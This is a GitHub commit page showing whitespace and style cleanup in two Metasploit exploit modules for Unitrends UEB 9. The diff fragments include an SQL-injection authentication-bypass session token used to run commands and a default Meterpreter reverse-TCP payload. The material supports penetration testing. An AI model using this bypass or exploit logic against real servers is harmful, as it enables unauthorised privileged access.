Skip to content

Commit 5abdfe3

Browse files
committed
ueb9 style cleanup
1 parent c26779e commit 5abdfe3

File tree

2 files changed

+15
-20
lines changed

2 files changed

+15
-20
lines changed

modules/exploits/linux/http/ueb9_api_storage.rb

Lines changed: 9 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
7-
86
class MetasploitModule < Msf::Exploit::Remote
97
Rank = ExcellentRanking
108

@@ -41,10 +39,10 @@ def initialize(info = {})
4139
[ 'UEB 9.*', { } ]
4240
],
4341
'Privileged' => true,
44-
'DefaultOptions' =>
45-
{ 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
46-
'SSL' => true
47-
},
42+
'DefaultOptions' => {
43+
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
44+
'SSL' => true
45+
},
4846
'DisclosureDate' => 'Aug 8 2017',
4947
'DefaultTarget' => 0))
5048
register_options(
@@ -62,7 +60,6 @@ def filter_bad_chars(cmd)
6260
end
6361

6462
def execute_command(cmd, opts = {})
65-
6663
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
6764
session = Base64.strict_encode64(session) #b64 encode session token
6865

@@ -79,19 +76,18 @@ def execute_command(cmd, opts = {})
7976
'encode_params' => false,
8077
'data' => parms,
8178
'headers' =>
82-
{'AuthToken' => session,}
79+
{'AuthToken' => session}
8380
})
8481

85-
if res &&res.code != 500
82+
if res && res.code != 500
8683
fail_with(Failure::UnexpectedReply,'Unexpected response')
8784
end
88-
rescue ::Rex::ConnectionError
89-
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
90-
end
85+
rescue ::Rex::ConnectionError
86+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
87+
end
9188

9289
def exploit
9390
print_status("#{peer} - pwn'ng ueb 9....")
9491
execute_cmdstager(:linemax => 120)
95-
9692
end
9793
end

modules/exploits/linux/misc/ueb9_bpserverd.rb

Lines changed: 6 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -38,15 +38,14 @@ def initialize(info = {})
3838
[ 'UEB 9.*', { } ]
3939
],
4040
'Privileged' => true,
41-
'DefaultOptions' =>
42-
{ 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
43-
'SSL' => false
44-
},
41+
'DefaultOptions' => {
42+
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
43+
'SSL' => false
44+
},
4545
'DisclosureDate' => 'Aug 8 2017',
4646
'DefaultTarget' => 0))
47-
register_options(
48-
[
49-
Opt::RPORT(1743),
47+
register_options([
48+
Opt::RPORT(1743)
5049
])
5150
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
5251
end

0 commit comments

Comments
 (0)